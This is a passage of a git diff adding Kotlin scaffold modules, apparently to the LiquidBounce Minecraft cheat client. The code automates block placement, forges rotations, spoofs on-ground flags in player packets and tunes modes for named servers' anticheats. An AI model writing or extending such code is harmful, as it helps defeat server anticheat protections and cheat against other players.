- 1.5) + ) { + val dis = rayTraceBlocks.blockPos.offset(rayTraceBlocks.sideHit).distanceSqToCenter(mc.thePlayer.posX, mc.thePlayer.posY - 0.5, mc.thePlayer.posZ) + // prevent some stuff + if (target == null || RotationUtils.compareRotationDifferenceLesser(serverRotation, rotation, target.rotation) || RotationUtils.compareRotationDifferenceLesser(nearestDefault, rotation, target.rotation) + || dis < distanceSq) { + target = PlaceRotation(PlaceInfo(rayTraceBlocks.blockPos, rayTraceBlocks.sideHit, rayTraceBlocks.hitVec), rotation) + distanceSq = dis + } + } + } + } + if (target != null) { + targetPlace = target.placeInfo + doRotationChange(target.rotation) + } + return true + } + + /** + * Search for placeable block + * + * @param blockPosition pos + * @param checks visible + * @return + */ + private fun search(blockPosition: BlockPos, checks: Boolean): Boolean { + facesBlock = false + if (!isReplaceable(blockPosition)) return false + + // Search Ranges + val xzRV = if (towerState) towerXZRangeValue.get().toDouble() else xzRangeValue.get().toDouble() + val xzSSV = if (towerState) calcTowerStepSize(xzRV.toFloat()) else calcStepSize(xzRV.toFloat()) + val yRV = if (towerState) towerYRangeValue.get().toDouble() else yRangeValue.get().toDouble() + val ySSV = if (towerState) calcTowerStepSize(yRV.toFloat()) else calcStepSize(yRV.toFloat()) + + val eyesPos = Vec3(mc.thePlayer!!.posX, mc.thePlayer!!.entityBoundingBox.minY + mc.thePlayer!!.eyeHeight, mc.thePlayer!!.posZ) + var placeRotation: PlaceRotation? = null + + if ((if (towerState) towerSearchMode else searchMode).equals( "Sigma") && !shouldGoDown) { // Sigma的搜索无法处理下降 + val data = getBlockData(blockPosition) + if (data != null) { + placeRotation = PlaceRotation(PlaceInfo(data.first, data.second, getVec3(data.first, data.second)), getRotations(data.first, data.second)) + } else return false + } else { + for (facingType in EnumFacing.values()) { + val neighbor = blockPosition.offset(facingType) + if (!canBeClicked(neighbor)) continue + val dirVec = Vec3(facingType.directionVec) + val auto = (if (towerState) towerSearchMode else searchMode).get().equals("Auto", true) + val center = (if (towerState) towerSearchMode else searchMode).get().equals("AutoCenter", true) + var xSearch = if (auto) 0.1 else 0.5 - xzRV / 2 + while (xSearch <= if (auto) 0.9 else 0.5 + xzRV / 2) { + var ySearch = if (auto) 0.1 else 0.5 - yRV / 2 + while (ySearch <= if (auto) 0.9 else 0.5 + yRV / 2) { + var zSearch = if (auto) 0.1 else 0.5 - xzRV / 2 + while (zSearch <= if (auto) 0.9 else 0.5 + xzRV / 2) { + val posVec = Vec3(blockPosition).addVector( + if (center) 0.5 else xSearch, + if (center) 0.5 else ySearch, + if (center) 0.5 else zSearch + ) + val distanceSqPosVec = eyesPos.squareDistanceTo(posVec) + val hitVec = posVec.add(Vec3(dirVec.xCoord * 0.5, dirVec.yCoord * 0.5, dirVec.zCoord * 0.5)) + if (checks && (eyesPos.squareDistanceTo(hitVec) > 18.0 || distanceSqPosVec > eyesPos.squareDistanceTo( + posVec.add(dirVec) + ) || mc.theWorld!!.rayTraceBlocks( + eyesPos, hitVec, + false, + true, + false + ) != null) + ) { + zSearch += if (auto) 0.1 else xzSSV + continue + } + + // Face block + val diffX = hitVec.xCoord - eyesPos.xCoord + val diffY = hitVec.yCoord - eyesPos.yCoord + val diffZ = hitVec.zCoord - eyesPos.zCoord + val diffXZ = sqrt(diffX * diffX + diffZ * diffZ) + if ((facingType == EnumFacing.NORTH || facingType == EnumFacing.EAST || facingType == EnumFacing.SOUTH || facingType == EnumFacing.WEST) && (if (towerState) towerMinDistValue else minDistValue).get() > 0) { + val diff: Double = + abs(if (facingType == EnumFacing.NORTH || facingType == EnumFacing.SOUTH) diffZ else diffX) + if (diff < (if (towerState) towerMinDistValue else minDistValue).get() || diff > 0.3f) { + zSearch += if (auto) 0.1 else xzSSV + continue + } + } + val rotation = Rotation( + wrapAngleTo180_float(Math.toDegrees(atan2(diffZ, diffX)).toFloat() - 90f), + wrapAngleTo180_float(-Math.toDegrees(atan2(diffY, diffXZ)).toFloat()) + ) + val rotationVector = RotationUtils.getVectorForRotation(rotation) + val vector = eyesPos.addVector( + rotationVector.xCoord * distanceSqPosVec, + rotationVector.yCoord * distanceSqPosVec, + rotationVector.zCoord * distanceSqPosVec + ) + val obj = mc.theWorld!!.rayTraceBlocks( + eyesPos, vector, + false, + false, + true + ) + if (obj!!.typeOfHit != MovingObjectPosition.MovingObjectType.BLOCK || obj.blockPos!! != neighbor) { + zSearch += if (auto) 0.1 else xzSSV + continue + } + if (placeRotation == null || RotationUtils.getRotationDifference(rotation) < RotationUtils.getRotationDifference(placeRotation.rotation)) { + placeRotation = PlaceRotation(PlaceInfo(neighbor, facingType.opposite, hitVec), rotation) + } + + zSearch += if (auto) 0.1 else xzSSV + } + ySearch += if (auto) 0.1 else ySSV + } + xSearch += if (auto) 0.1 else xzSSV + } + } + } + if (placeRotation == null) return false + if (rotationsOn) { + val calculatedRotation = calculateRotation(placeRotation.rotation) + doRotationChange(calculatedRotation) + } + targetPlace = placeRotation.placeInfo + return true + } + + private fun doRotationChange(calculatedRotation: Rotation) { + if (eagleValue.equals( "RotationStrict")) { + if (RotationUtils.getRotationDifference(calculatedRotation) > 0.001) eagleSneaking = true + } + if (minTurnSpeedValue.get() < 180) { + val limitedRotation = RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + calculatedRotation, + (Math.random() * (maxTurnSpeedValue.get() - minTurnSpeedValue.get()) + minTurnSpeedValue.get()).toFloat() + ) + + if ((10 * wrapAngleTo180_float(limitedRotation.yaw)).roundToInt() == (10 * wrapAngleTo180_float( + calculatedRotation.yaw + )).roundToInt() && + (10 * wrapAngleTo180_float(limitedRotation.pitch)).roundToInt() == (10 * wrapAngleTo180_float( + calculatedRotation.pitch + )).roundToInt() + ) { + setRotation(calculatedRotation) + lockRotation = calculatedRotation + facesBlock = true + } else { + if (eagleValue.equals( "OnlyChangeRot")) { + eagleSneaking = true + } + setRotation(limitedRotation) + lockRotation = limitedRotation + facesBlock = false + } + } else { + setRotation(calculatedRotation) + lockRotation = calculatedRotation + facesBlock = true + } + lockRotationTimer.reset() + } + + private fun calcStepSize(range: Float): Double { + var accuracy: Double = searchAccuracyValue.get().toDouble() + accuracy += accuracy % 2 // If it is set to uneven, it changes it to even. Fixes a bug + return (range / accuracy).coerceAtLeast(0.01) + } + + private fun calcTowerStepSize(range: Float): Double { + var accuracy: Double = towerSearchAccuracyValue.get().toDouble() + accuracy += accuracy % 2 + return if (range / accuracy < 0.01) 0.01 else (range / accuracy) + } + + // RETURN HOTBAR AMOUNT + private val blocksAmount: Int + get() { + var amount = 0 + for (i in 36..44) { + val itemStack: ItemStack? = mc.thePlayer!!.inventoryContainer.getSlot(i).stack + if (itemStack != null && (itemStack.item) is ItemBlock) { + val block: Block = (itemStack.item!! as ItemBlock).block + val heldItem: ItemStack? = mc.thePlayer!!.heldItem + if (heldItem != null && heldItem == itemStack || !InventoryUtils.BLOCK_BLACKLIST.contains(block) && (block) !is BlockBush) { + amount += itemStack.stackSize + } + } + } + return amount + } + override val tag: String + get() = if (!(towerModeValue.equals( "Jump"))&&mc.gameSettings.keyBindJump.isKeyDown) "Tower" else if (mc.gameSettings.keyBindJump.isKeyDown) "JumpUp" else if (shouldGoDown) "Down" else if (shouldExpand) "Expand" else "Normal" +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/Scaffold3.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/Scaffold3.kt new file mode 100644 index 0000000..a1eb557 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/Scaffold3.kt @@ -0,0 +1,917 @@ +package net.ccbluex.liquidbounce.features.module.modules.world.scaffold + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.movement.Speed +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.injection.access.StaticStorage +import net.ccbluex.liquidbounce.utils.* +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils.isReplaceable +import net.ccbluex.liquidbounce.utils.block.PlaceInfo +import net.ccbluex.liquidbounce.utils.extensions.rayTraceWithServerSideRotation +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.utils.timer.TimeUtils +import net.minecraft.block.BlockAir +import net.minecraft.client.settings.GameSettings +import net.minecraft.item.ItemBlock +import net.minecraft.item.ItemStack +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.minecraft.network.play.client.C0APacketAnimation +import net.minecraft.network.play.client.C0BPacketEntityAction +import net.minecraft.potion.Potion +import net.minecraft.util.* +import kotlin.math.* + + +@ModuleInfo(name = "Scaffold3", category = ModuleCategory.PLAYER) +object Scaffold3 : Module() { + + private val rotationsValue = ListValue( + "Rotations", + arrayOf("Normal", "Back", "45", "Telly", "Spin", "Snap", "None"), + "Normal" + ) + private val rotationFace = ListValue("Rotations-Face", arrayOf("Smooth", "Normal"), "Smooth") + private val spinSpeedValue = IntegerValue("SpinSpeed", 20, 1, 90).displayable { rotationsValue.equals("Spin") } + private val staticRotTelly = BoolValue("StaticRotation", false).displayable { rotationsValue.equals("Telly") } + private val towerModeValue = ListValue( + "TowerMode", arrayOf( + "None", + "NCP", + "Vanilla", + ), "None" + ) + private val placeModeValue = ListValue("PlaceTiming", arrayOf("Pre", "Post", "Legit"), "Pre") + private val autoBlockValue = ListValue("AutoBlock", arrayOf("Spoof", "Switch"), "Switch") + private val highBlock = BoolValue("BiggestStack", false) + private val sprintModeValue = ListValue( + "Sprint", + arrayOf("Normal", "Air", "Ground", "BlocksMC", "Hypixel", "Legit", "None"), + "Normal" + ) + private val jumpBoost = BoolValue("JumpBoost", false).displayable { sprintModeValue.equals("Hypixel") } + private val boostMotion = BoolValue("BoostMotion", false).displayable { sprintModeValue.equals("Hypixel") } + private val lowHopBoost = BoolValue("LowHopBoost", false).displayable { sprintModeValue.equals("Hypixel") && jumpBoost.get() } + private val delayTowers = IntegerValue("Delay-Tower", 10, 1, 20).displayable { lowHopBoost.get() } + private val bridgeMode = ListValue( + "BridgeMode", + arrayOf("UpSideDown", "Andromeda", "Normal", "Telly", "Hypixel", "AutoJump", "KeepUP", "SameY"), + "Normal" + ) + private val tellyTicks = IntegerValue("TellyTicks", 0, 0, 10).displayable { bridgeMode.equals("Telly") } + private val delayTelly = BoolValue("SmartDelay-Telly", false).displayable { bridgeMode.equals("Telly") } + private val sameYSpeed = BoolValue("SameY-OnlySpeed", false).displayable { bridgeMode.equals("SameY") } + private val andJump = BoolValue("Andromeda-Jump", false).displayable { bridgeMode.equals("Andromeda") } + private val strafeFix = BoolValue("StrafeFix", false) + private val swingValue = BoolValue("Swing", false) + private val searchValue = BoolValue("Search", true) + private val downValue = BoolValue("Downward", false) + private val safeWalkValue = BoolValue("SafeWalk", false) + private val zitterModeValue = BoolValue("Zitter", false) + private val maxRotationSpeedValue: IntegerValue = object : IntegerValue("MaxRotationSpeed", 90, 0, 90) { + override fun onChanged(oldValue: Int, newValue: Int) { + val v = minRotationSpeedValue.get() + if (v > newValue) set(v) + } + }.displayable { !rotationsValue.equals("None") } as IntegerValue + private val minRotationSpeedValue: IntegerValue = object : IntegerValue("MinRotationSpeed", 90, 0, 90) { + override fun onChanged(oldValue: Int, newValue: Int) { + val v = maxRotationSpeedValue.get() + if (v < newValue) set(v) + } + }.displayable { !rotationsValue.equals("None") } as IntegerValue + private val maxPlaceDelay: IntegerValue = object : IntegerValue("MaxPlaceDelay", 0, 0, 1000) { + override fun onChanged(oldValue: Int, newValue: Int) { + val v = minPlaceDelay.get() + if (v > newValue) set(v) + } + } + private val minPlaceDelay: IntegerValue = object : IntegerValue("MinPlaceDelay", 0, 0, 1000) { + override fun onChanged(oldValue: Int, newValue: Int) { + val v = maxPlaceDelay.get() + if (v < newValue) set(v) + } + } + private val expandLengthValue = IntegerValue("ExpandLength", 1, 1, 6) + private val omniDirectionalExpand = + BoolValue("OmniDirectionalExpand", false).displayable { expandLengthValue.get() > 1 } + private val timerValue = FloatValue("Timer", 1f, 0.1f, 5f) + private val towerTimerValue = FloatValue("TowerTimer", 1f, 0.1f, 5f) + private val eagleValue = ListValue("Eagle", arrayOf("Silent", "Normal", "Off"), "Off") + private val blocksToEagleValue = IntegerValue("BlocksToEagle", 0, 0, 10).displayable { !eagleValue.equals("Off") } + private val edgeDistanceValue = + FloatValue("EagleEdgeDistance", 0f, 0f, 0.5f).displayable { !eagleValue.equals("Off") } + + private val hitableCheckValue = ListValue("HitableCheck", arrayOf("Simple", "Strict", "Basic", "OFF"), "Simple") + + // Visuals + val counter = BoolValue("Render", true) + + /** + * MODULE + */ + + // Target block + private var targetPlace: PlaceInfo? = null + + // Last OnGround position + private var lastGroundY = 0 + + // Rotation lock + private var lockRotation: Rotation? = null + + //PrevItem + private var prevItem = 0 + + // Auto block slot + private var slot = 0 + + // Zitter Smooth + private var zitterDirection = false + + + // Delay + private val zitterTimer = MSTimer() + private val delayTimer = MSTimer() + private var lastPlace = 0 + private var delay = 0L + + // Eagle + private var placedBlocksWithoutEagle = 0 + private var eagleSneaking = false + + // Down + private var shouldGoDown = false + private var towerStatus = false + private var canSameY = false + private var spinYaw = 0F + //Other + private var doSpoof = false + + //IDK + private var hypixelAirTicks: Int = 0 + private var delayTower: Int = 0 + private var offGroundTicks: Int = 0 + private var GroundTicks: Int = 0 + + //Hypixel + private var hypixelPlaceTicks = 0 + //Sprint + var sprintActive = false + var ticks = 0 + + //Place Ticks + private var andromedaPlaceTicks = 0 + private var tellyPlaceTicks = 0 + + private val isLookingDiagonally: Boolean + get() { + val player = mc.thePlayer ?: return false + + val yaw = round(abs(MathHelper.wrapAngleTo180_float(player.rotationYaw)).roundToInt() / 45f) * 45f + + return floatArrayOf( + 45f, + 135f + ).any { yaw == it } && player.movementInput.moveForward != 0f && player.movementInput.moveStrafe == 0f + } + /** + * Enable module + */ + override fun onEnable() { + sprintActive = false + prevItem = mc.thePlayer.inventory.currentItem + slot = mc.thePlayer.inventory.currentItem + doSpoof = false + if (mc.thePlayer == null) return + lastGroundY = mc.thePlayer.posY.toInt() + zitterTimer.reset() + andromedaPlaceTicks = 0 + tellyPlaceTicks = 0 + hypixelPlaceTicks = 0 + } + /** + * Update event + * + * @param event + */ + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.onGround) { + hypixelAirTicks = 0 + } else hypixelAirTicks++ + if (sprintModeValue.equals("Hypixel") && jumpBoost.get() && lowHopBoost.get() && MovementUtils.isMoving() && (mc.gameSettings.keyBindJump.isKeyDown || Speed.state)) { + if (mc.gameSettings.keyBindJump.isKeyDown && mc.thePlayer.onGround && boostMotion.get()) { + mc.thePlayer.motionY = 0.4191 + } + if (delayTower >= delayTowers.get()) { + if (hypixelAirTicks == 1) mc.thePlayer.motionY = 0.327318 + if (hypixelAirTicks == 6) mc.thePlayer.motionY = -1.0 + } + } + if (mc.gameSettings.keyBindJump.isKeyDown || Speed.state) { + delayTower++ + } else { + delayTower = 0 + } + if (jumpBoost.get()) { + if (mc.gameSettings.keyBindJump.isKeyDown && mc.thePlayer.onGround && boostMotion.get()) { + mc.thePlayer.motionY = 0.4191 + MovementUtils.setMotion(getSpeed(0.48F, 0.5F, 0.53F).toDouble()) + } + } + if (lastPlace == 1) { + delayTimer.reset() + delay = getDelay + lastPlace = 0 + } + if (mc.thePlayer.onGround) { + GroundTicks++ + offGroundTicks = 0 + } else { + GroundTicks = 0 + offGroundTicks++ + } + spinYaw += spinSpeedValue.get().toFloat() + if (placeModeValue.equals("Legit")) { + place() + } + if (bridgeMode.equals("Andromeda")) { + if (andromedaPlaceTicks == 2) { + if (andJump.get() && mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + lockRotation = null + andromedaPlaceTicks = 0 + } + } + if (towerStatus) mc.timer.timerSpeed = towerTimerValue.get() + if (!towerStatus) mc.timer.timerSpeed = timerValue.get() + if (towerStatus || mc.gameSettings.keyBindJump.isKeyDown) { + canSameY = false + lastGroundY = mc.thePlayer.posY.toInt() + } else { + canSameY = (bridgeMode.equals("SameY") && (!sameYSpeed.get() || Speed.state)) + if (onGround()) { + lastGroundY = mc.thePlayer.posY.toInt() + } + if (bridgeMode.equals("AutoJump")) { + canSameY = true + if (MovementUtils.isMoving() && onGround()) { + mc.thePlayer.jump() + } + } + if (bridgeMode.equals("Hypixel")) { + canSameY = true + if (MovementUtils.isMoving() && onGround()) { + hypixelPlaceTicks = 0 + mc.thePlayer.jump() + } + } + if (bridgeMode.equals("Telly") && (!delayTelly.get() || tellyPlaceTicks > 0)) { + canSameY = true + if (onGround() && MovementUtils.isMoving()) { + mc.thePlayer.jump() + } + } + if (bridgeMode.equals("KeepUP")) { + canSameY = false + if (MovementUtils.isMoving() && onGround()) { + mc.thePlayer.jump() + } + } + } + if (MovementUtils.isMoving()) { + val sprint = sprintModeValue + sprintActive = (sprint.equals("Normal") || sprint.equals("Legit") && (abs( + (MathHelper.wrapAngleTo180_float(mc.thePlayer.rotationYaw) - MathHelper.wrapAngleTo180_float( + RotationUtils.serverRotation!!.yaw + )).toDouble() + ) < 90) || (sprint.equals("Ground") && mc.thePlayer.onGround) || (sprint.equals("Air") && !mc.thePlayer.onGround) || (jumpBoost.get() && sprintModeValue.equals("Hypixel") && MovementUtils.isMoving() && (mc.gameSettings.keyBindJump.isKeyDown || Speed.state))) + if (sprintModeValue.equals("BlocksMC")) { + if (!mc.thePlayer.isPotionActive(Potion.moveSpeed)) { + if (mc.thePlayer.onGround) { + mc.thePlayer.motionX *= 1.185 + mc.thePlayer.motionZ *= 1.185 + } + } else { + if (mc.thePlayer.onGround) { + mc.thePlayer.motionX *= 1.0 + mc.thePlayer.motionZ *= 1.0 + } + } + } + + } else sprintActive = false + shouldGoDown = + downValue.get() && GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) && blocksAmount > 1 + if (shouldGoDown) mc.gameSettings.keyBindSneak.pressed = false + if (mc.thePlayer.onGround) { + // Smooth Zitter + if (zitterModeValue.get()) { + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindRight)) mc.gameSettings.keyBindRight.pressed = + false + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindLeft)) mc.gameSettings.keyBindLeft.pressed = + false + if (zitterTimer.hasTimePassed(100)) { + zitterDirection = !zitterDirection + zitterTimer.reset() + } + if (zitterDirection) { + mc.gameSettings.keyBindRight.pressed = true + mc.gameSettings.keyBindLeft.pressed = false + } else { + mc.gameSettings.keyBindRight.pressed = false + mc.gameSettings.keyBindLeft.pressed = true + } + } + + // Eagle + if (!eagleValue.get().equals("Off", true) && !shouldGoDown) { + var dif = 0.5 + val blockPos = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1.0, mc.thePlayer.posZ) + if (edgeDistanceValue.get() > 0) { + for (facingType in EnumFacing.values()) { + if (facingType == EnumFacing.UP || facingType == EnumFacing.DOWN) { + continue + } + val neighbor = blockPos.offset(facingType) + if (isReplaceable(neighbor)) { + val calcDif = + (if (facingType == EnumFacing.NORTH || facingType == EnumFacing.SOUTH) { + abs((neighbor.z + 0.5) - mc.thePlayer.posZ) + } else { + abs((neighbor.x + 0.5) - mc.thePlayer.posX) + }) - 0.5 + + if (calcDif < dif) { + dif = calcDif + } + } + } + } + if (placedBlocksWithoutEagle >= blocksToEagleValue.get()) { + val shouldEagle = + isReplaceable(blockPos) || (edgeDistanceValue.get() > 0 && dif < edgeDistanceValue.get()) + if (eagleValue.get().equals("Silent", true)) { + if (eagleSneaking != shouldEagle) { + mc.netHandler.addToSendQueue( + C0BPacketEntityAction( + mc.thePlayer, if (shouldEagle) { + C0BPacketEntityAction.Action.START_SNEAKING + } else { + C0BPacketEntityAction.Action.STOP_SNEAKING + } + ) + ) + } + eagleSneaking = shouldEagle + } else { + mc.gameSettings.keyBindSneak.pressed = shouldEagle + } + placedBlocksWithoutEagle = 0 + } else { + placedBlocksWithoutEagle++ + } + } + } + } + @EventTarget + fun onJump(event: JumpEvent) { + if (jumpBoost.get() && lowHopBoost.get() && sprintModeValue.equals("Hypixel") && mc.gameSettings.keyBindJump.isKeyDown && boostMotion.get()) { + event.cancelEvent() + } + } + @EventTarget + fun onStrafe(event: StrafeEvent) { + if (strafeFix.get()) { + val yaw = if (lockRotation != null) lockRotation!!.yaw else RotationUtils.targetRotation!!.yaw + val dif = ((MathHelper.wrapAngleTo180_float(mc.thePlayer.rotationYaw - yaw - 23.5f - 135) + 180) / 45).toInt() + val strafe = event.strafe + val forward = event.forward + val friction = event.friction + var calcForward = 0f + var calcStrafe = 0f + when (dif) { + 0 -> { + calcForward = forward + calcStrafe = strafe + } + + 1 -> { + calcForward += forward + calcStrafe -= forward + calcForward += strafe + calcStrafe += strafe + } + + 2 -> { + calcForward = strafe + calcStrafe = -forward + } + + 3 -> { + calcForward -= forward + calcStrafe -= forward + calcForward += strafe + calcStrafe -= strafe + } + + 4 -> { + calcForward = -forward + calcStrafe = -strafe + } + + 5 -> { + calcForward -= forward + calcStrafe += forward + calcForward -= strafe + calcStrafe -= strafe + } + + 6 -> { + calcForward = -strafe + calcStrafe = forward + } + + 7 -> { + calcForward += forward + calcStrafe += forward + calcForward -= strafe + calcStrafe += strafe + } + } + if (calcForward > 1f || calcForward < 0.9f && calcForward > 0.3f || calcForward < -1f || calcForward > -0.9f && calcForward < -0.3f) { + calcForward *= 0.5f + } + + if (calcStrafe > 1f || calcStrafe < 0.9f && calcStrafe > 0.3f || calcStrafe < -1f || calcStrafe > -0.9f && calcStrafe < -0.3f) { + calcStrafe *= 0.5f + } + + var f = calcStrafe * calcStrafe + calcForward * calcForward + + if (f >= 1.0E-4f) { + f = MathHelper.sqrt_float(f) + + if (f < 1.0f) f = 1.0f + + f = friction / f + calcStrafe *= f + calcForward *= f + + val yawSin = MathHelper.sin((yaw * Math.PI / 180f).toFloat()) + val yawCos = MathHelper.cos((yaw * Math.PI / 180f).toFloat()) + + mc.thePlayer.motionX += calcStrafe * yawCos - calcForward * yawSin + mc.thePlayer.motionZ += calcForward * yawCos + calcStrafe * yawSin + } + event.cancelEvent() + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (mc.thePlayer == null) return + val packet = event.packet + //Verus + if (packet is C03PacketPlayer) { + if (doSpoof) { + packet.onGround = true + } + } + if (packet is C08PacketPlayerBlockPlacement) { + // c08 item override to solve issues in scaffold and some other modules, maybe bypass some anticheat in future + packet.stack = mc.thePlayer.inventory.mainInventory[mc.thePlayer.inventory.currentItem] + // illegal facing checks + packet.facingX = packet.facingX.coerceIn(-1.0000F, 1.0000F) + packet.facingY = packet.facingY.coerceIn(-1.0000F, 1.0000F) + packet.facingZ = packet.facingZ.coerceIn(-1.0000F, 1.0000F) + } + } + + private fun rotationStatic() { + when (rotationsValue.get().lowercase()) { + "back" -> RotationUtils.setTargetRotationReverse( + RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + Rotation(MovementUtils.movingYaw + 180, if (lockRotation == null) 85F else lockRotation!!.pitch), + rotationSpeed + ), 1, 0 + ) + + "45" -> RotationUtils.setTargetRotationReverse( + RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + Rotation( + if (isLookingDiagonally) MovementUtils.movingYaw + 180 else MovementUtils.movingYaw + 135, + if (lockRotation == null) 85F else lockRotation!!.pitch + ), + rotationSpeed + ), 1, 0 + ) + + "spin" -> RotationUtils.setTargetRotationReverse( + RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + Rotation(spinYaw, if (lockRotation == null) 85F else lockRotation!!.pitch), + rotationSpeed + ), 1, 0 + ) + + "snap" -> RotationUtils.setTargetRotationReverse( + RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + Rotation(mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch), + rotationSpeed + ), 1, 0 + ) + + "none" -> RotationUtils.setTargetRotationReverse( + RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + Rotation(mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch), + rotationSpeed + ), 1, 0 + ) + } + } + + private fun canRotation(): Boolean { + return ((!rotationsValue.equals("None") || !rotationsValue.equals("Spin")) && lockRotation != null) + } + + @EventTarget + fun onMotion(event: MotionEvent) { + val eventState = event.eventState + if (sprintModeValue.equals("Hypixel") && mc.thePlayer.onGround && !Speed.state && !mc.gameSettings.keyBindJump.isKeyDown) { + mc.thePlayer.motionX *= 0.92 + mc.thePlayer.motionZ *= 0.92 + } + towerStatus = false + // Tower + towerStatus = BlockUtils.getBlock( + BlockPos( + mc.thePlayer.posX, + mc.thePlayer.posY + 2, + mc.thePlayer.posZ + ) + ) is BlockAir + towerStatus = mc.gameSettings.keyBindJump.isKeyDown + if (canRotation()) { + val limitedRotation = + RotationUtils.limitAngleChange(RotationUtils.serverRotation!!, lockRotation!!, rotationSpeed) + RotationUtils.setTargetRotationReverse(limitedRotation, 1, 0) + } + rotationStatic() + // Update and search for new block + if (event.eventState == EventState.PRE) { + if (InventoryUtils.findAutoBlockBlock(highBlock.get()) == -1) { + return + } + findBlock(expandLengthValue.get() > 1) + } + if (towerStatus) move() + + // Place block + if (placeModeValue.equals(eventState.stateName)) place() + } + private fun move() { + when (towerModeValue.get().lowercase()) { + "ncp" -> { + if (mc.thePlayer.posY % 1 <= 0.00153598) { + mc.thePlayer.setPosition( + mc.thePlayer.posX, + floor(mc.thePlayer.posY), + mc.thePlayer.posZ + ) + mc.thePlayer.motionY = 0.42 + } else if (mc.thePlayer.posY % 1 < 0.1 && offGroundTicks != 0) { + mc.thePlayer.setPosition( + mc.thePlayer.posX, + floor(mc.thePlayer.posY), + mc.thePlayer.posZ + ) + } + } + "vanilla" -> { + mc.thePlayer.motionY = 0.42 + } + } + } + + /** + * Search for new target block + */ + private fun findBlock(expand: Boolean) { + val blockPosition = if (shouldGoDown) { + if (mc.thePlayer.posY == mc.thePlayer.posY.toInt() + 0.5) { + BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 0.6, mc.thePlayer.posZ) + } else { + BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 0.6, mc.thePlayer.posZ).down() + } + } else if (bridgeMode.equals("UpSideDown") && !towerStatus) { + BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 2, mc.thePlayer.posZ) + } else if (bridgeMode.equals("Andromeda") && !towerStatus) { + if (andromedaPlaceTicks == 0) { + BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ).down() + } else { + BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 2, mc.thePlayer.posZ) + } + } else if (mc.thePlayer.posY == mc.thePlayer.posY.toInt() + 0.5 && !canSameY) { + BlockPos(mc.thePlayer) + } else if (canSameY && lastGroundY <= mc.thePlayer.posY) { + BlockPos(mc.thePlayer.posX, lastGroundY - 1.0, mc.thePlayer.posZ) + } else { + BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ).down() + } + if (!expand && (!isReplaceable(blockPosition) || search( + blockPosition, + !shouldGoDown + )) + ) return + if (expand) { + val yaw = mc.thePlayer.rotationYaw.toRadiansD() + val x = + if (omniDirectionalExpand.get()) -sin(yaw).roundToInt() else mc.thePlayer.horizontalFacing.directionVec.x + val z = + if (omniDirectionalExpand.get()) cos(yaw).roundToInt() else mc.thePlayer.horizontalFacing.directionVec.z + for (i in 0 until expandLengthValue.get()) { + if (search(blockPosition.add(x * i, 0, z * i), false)) { + return + } + } + } else if (searchValue.get()) { + for (x in -1..1) { + for (z in -1..1) { + if (search(blockPosition.add(x, 0, z), !shouldGoDown)) { + return + } + } + } + } + } + + /** + * Place target block + */ + private fun place() { + if (!towerStatus && bridgeMode.equals("Telly") && (!delayTelly.get() || tellyPlaceTicks > 0)) { + if (offGroundTicks < tellyTicks.get()) return + } + if (!delayTimer.hasTimePassed(delay) && !towerStatus) return + if (!rotationsValue.equals("None")) { + val rayTraceInfo = mc.thePlayer.rayTraceWithServerSideRotation(5.0) + when (hitableCheckValue.get().lowercase()) { + "simple" -> { + if (rayTraceInfo != null && (!rayTraceInfo.blockPos.equals(targetPlace!!.blockPos))) { + return + } + } + + "strict" -> { + if (rayTraceInfo != null && (!rayTraceInfo.blockPos.equals(targetPlace!!.blockPos) || rayTraceInfo.sideHit != targetPlace!!.enumFacing)) { + return + } + } + + "basic" -> { + if (mc.objectMouseOver.sideHit != EnumFacing.NORTH || mc.objectMouseOver.sideHit != EnumFacing.EAST || mc.objectMouseOver.sideHit != EnumFacing.SOUTH || mc.objectMouseOver.sideHit != EnumFacing.WEST || mc.objectMouseOver.sideHit != EnumFacing.UP) { + return + } + } + } + } + val itemStack: ItemStack? + val blockSlot: Int = InventoryUtils.findAutoBlockBlock(highBlock.get()) + if (blockSlot == -1) return + if ((autoBlockValue.equals("Spoof")) && (mc.thePlayer.heldItem == null || !(mc.thePlayer.heldItem.item is ItemBlock && !InventoryUtils.isBlockListBlock( + mc.thePlayer.heldItem.item as ItemBlock + ))) + ) { + SpoofItemUtils.startSpoof(prevItem, blockSlot - 36,counter.get()) + } + mc.thePlayer.inventory.currentItem = blockSlot - 36 + mc.playerController.updateController() + + itemStack = mc.thePlayer.inventoryContainer.getSlot(blockSlot).stack + if (mc.playerController.onPlayerRightClick( + mc.thePlayer, + 